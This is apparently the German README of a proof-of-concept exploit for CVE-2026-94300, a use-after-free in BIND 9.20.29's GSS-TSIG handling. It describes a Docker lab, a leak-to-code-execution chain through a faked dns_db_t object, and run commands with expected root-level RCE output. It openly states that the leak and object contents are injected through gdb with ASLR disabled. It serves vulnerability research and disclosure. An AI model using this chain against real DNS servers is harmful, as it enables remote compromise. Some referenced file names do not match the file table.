
Self-contained PoC and analysis for CVE-2026-94300, a GSS-TSIG use-after-free in BIND 9.20.29, with a debugger-assisted model of the leak-to-code-execution chain.
Hinweis: Diese Analyse und der PoC wurden maßgeblich mit KI-Unterstützung erstellt („AI patchwork"). Alle Code-, Diff- und Messaussagen sind gegen die genannten Quellen zu verifizieren, bevor man sich darauf verlässt.
Selbstständiger PoC-Ordner für die Exploit-Chain aus CVE-2026-94300 (BIND 9.20.29 mit GSS-TSIG, krb5 1.20.1, jemalloc 5.3.0).
Was hier bewiesen wird: Ein geleaktes Adress-Set (hier aus gdb) genügt, um aus den gemessenen
Primitiven eine Codeausführung im named-Prozess zu bauen. Der Exploit konsumiert den Leak aus
docker logs; er enthält keine Adress-Literale.
Was hier ausdrücklich Modell ist (und im Bericht so steht):
| Annahme | Grund |
|---|---|
| Leak aus gdb | Die CVE hat kein Info-Leak-Primitiv; ein echtes Leak müsste aus einem anderen Fehler kommen |
ASLR aus (setarch -R) | ohne Leak keine Heap-/Code-Adressen |
| Objektinhalts-Kontrolle per gdb injiziert | der Reclaim des freigegebenen 8-Byte-Slots gelang im echten Pfad mit den hier untersuchten Mitteln nicht (4,7 Mio. Versuche, 0 Treffer) — ein belegtes Hindernis, kein Unmöglichkeitsbeweis |
Keine demonstrierte Remote-RCE und keine Persistenz. Der Befehl wird über --cmd am Exploit
angegeben: host/exploit.py reicht ihn über den Docker-Control-Channel (docker exec, dieselbe Autorität, die der Bediener ohnehin hat) in den Container; der Exploit selbst sendet nur die geleakten Adressen und das aufgenommene Paket. Danach
schreibt die Payload zusätzlich die RCE-PROOF-Zeile (für die Verifikation) und beendet named.
sequenceDiagram
participant R as Researcher (Host)
participant V as Container: named 9.20.29 + gdb
participant L as docker logs
R->>V: docker run -p 127.0.0.1:15353:53/udp
V->>V: TKEY-Capture (ohne Send), gdb bricht auf dns_db_currentversion
V->>L: LEAK: db=…, methods=…, heap=…, wire_b64=… (sha256)
V->>V: Modell scharf, wartet auf Host-Replay
R->>L: docker logs lesen + validieren (11 Checks)
R->>V: docker exec: --cmd nach /tmp/rce-payload-cmd
R->>V: UDP-Replay des geleakten signierten Pakets an 15353
V->>V: krb5_k_free_key → free(db) → Reclaim → Fake-dns_db_t
V->>V: dns_db_currentversion → jmp *methods+0x30 → Payload
R->>V: docker exec cat /tmp/rce-proof
| Pfad | Zweck |
|---|---|
docker/Dockerfile | Opfer-Image: BIND 9.20.29 aus dem ISC-Tarball + gdb + KDC + Lab-Treiber |
etc/ | krb5.conf, kdc.conf, named.conf, Zone (vom Image nach /etc kopiert) |
host/exploit.py | Host-Exploit: liest docker logs, validiert, replayt per UDP, prüft Marker |
lab/rce_victim.sh | In-Container-Treiber: named unter gdb, Capture ohne Send, Leak, warten |
lab/rce_model.py | gdb-Modell: Breakpoints, Leak-Block, Arming, Dispatch-Beobachtung |
lab/rce_leak.py | Leak-Stage: Adressen + wire_b64 → stdout/Datei |
lab/rce_exploit.py | Exploit-Stage im Container: baut Fake-Objekt aus Leak, Reclaim, Dispatch |
lab/rce_shim.c | Fixed-Page-Shim: Fake-Tabelle, Fake-dns_db_t-Template, Payload |
lab/replay-lab.py | TKEY-Capture (--no-send) |
lab/gss_context_lab.py | GSS-Kontext-Helfer für den Capture |
lab/start.sh, lab/named.replay.conf | KDC/Keytab/Zone-Bootstrap, named-Konfiguration |
RACE.md | Erklärung des Races auf dem geteilten GSS-TSIG-Kontext: Teilung, Zugriffe, Auslöser, Messungen, Abgrenzung |
VERIFY.md | Verifikation der drei Behauptungen am Source-Diff 9.20.29 → 9.20.30 (GSS-TSIG-Locking, destruktiver Keyring-Dump, RCE-Abgrenzung) |
EXPLOIT.md | Exploit-Beschreibung mit Code-Beweisen und Mermaid |
USAGE.md | Bauen, Ausführen, erwartete Ausgaben, Troubleshooting |
ANAYLSE.md | Veröffentlichungsreifer Disclosure-Nachtrag (Impact-Reconciliation DoS vs. potenzielle RCE, Betroffenheit, Mitigation, Detektion) — ohne Exploit-Primitive |
ANALYZE.md | Englische Fassung des Disclosure-Nachtrags |
Englische Fassungen der PoC-Dokumente: README.md, RACE.md, VERIFY.md,
EXPLOIT.md, USAGE.md.
Nur Docker + Internet beim Bauen. Das Image baut BIND 9.20.29 selbst aus dem offiziellen
ISC-Tarball (https://downloads.isc.org/isc/bind9/9.20.29/bind-9.20.29.tar.xz, SHA-256 gepinnt),
mit --with-gssapi=yes, und installiert gdb, MIT-Kerberos-KDC und die Lab-Treiber. Kein
Distro-BIND, kein vorgebautes Basis-Image nötig.
Das Image enthält eine Wegwerf-KDC-Identität [email protected] (Passwort attacker,
Realm EXAMPLE.TEST, KDC nur auf 127.0.0.1:88 im Container) — ausschließlich für dieses Lab,
nicht für GSS-TSIG-Tests gegen andere Server, Keytab nicht aus dem Container herausnehmen.
cd poc/CVE-2026-94300-poc
docker build -f docker/Dockerfile -t cve-2026-94300-victim .
# Terminal 1: Container
docker run --rm --name cve-2026-94300-victim \
-p 127.0.0.1:15353:53/udp \
--security-opt seccomp=unconfined \
cve-2026-94300-victim # druckt den LEAK-Block nach stdout
# Terminal 2: Exploit vom Host, Ziel + Befehl als Argumente
python3 host/exploit.py --ip 127.0.0.1 --port 15353 --cmd 'id > /tmp/bla'
docker exec cve-2026-94300-victim cat /tmp/bla # uid=0(root) …
Erwartet (Auszug):
LEAK: db=0x7ffff6901c00
LEAK: db_methods=0x7ffff7c497c0
LEAK: payload=0x7ffff7fbe37b
LEAK: wire_len=3907
HOST-EXPLOIT-VALIDATE OK checks=11
HOST-EXPLOIT-REPLAY target=127.0.0.1:15353 bytes=3907
RCE-DISPATCH-INDIRECT target=0x7ffff7fbe37b (rce_payload) match=YES
RCE-PAYLOAD-EXECUTED RCE-PROOF pid=… uid=0 euid=0 db=0x7ffff6901c00
HOST-EXPLOIT-VERDICT payload_executed=YES marker=YES
Advisory-Satz: ISC stuft CVE-2026-94300 als remote, High, CVSS 8.1 (AC:H) mit potenzieller Code-Ausführung ein. Öffentlich/reproduzierbar belegt ist eine credential-freie, per Replay auslösbare Speicherkorruption (Use-after-free/Double-Free) auf dem geteilten GSS-TSIG-Kontext — DoS- bis Heap-Korruptions-Klasse. Ein Weg zur Codeausführung ist bislang nur unter Debugger-gestützten Modellannahmen (ASLR aus, Adressen/Objektinhalt injiziert) gezeigt; eine demonstrierte Remote-RCE liegt nicht vor.
Belegt: gegeben ein Leak, folgt RCE im Zielprozess. Nicht belegt: ein entfernter Angriff ohne Leak und ohne gdb — dafür fehlen das Leak-Primitiv und der erreichte Reclaim-Schritt. Das ist ein belegter Hinderniskatalog, kein Unmöglichkeitsbeweis; ISC führt die Code-Execution-Klasse als potenziell. Die Code-Grundlage (Synchronisationsbug, destruktiver Dump, was der Patch behebt und was nicht) prüft VERIFY_DE.md am Diff der beiden Bäume; wie der Race technisch funktioniert, steht in RACE_DE.md. Exploit-Details und Code-Beweise: EXPLOIT_DE.md, Ablauf und Optionen: USAGE_DE.md. Publication-ready disclosure: ANALYSE_DE.md.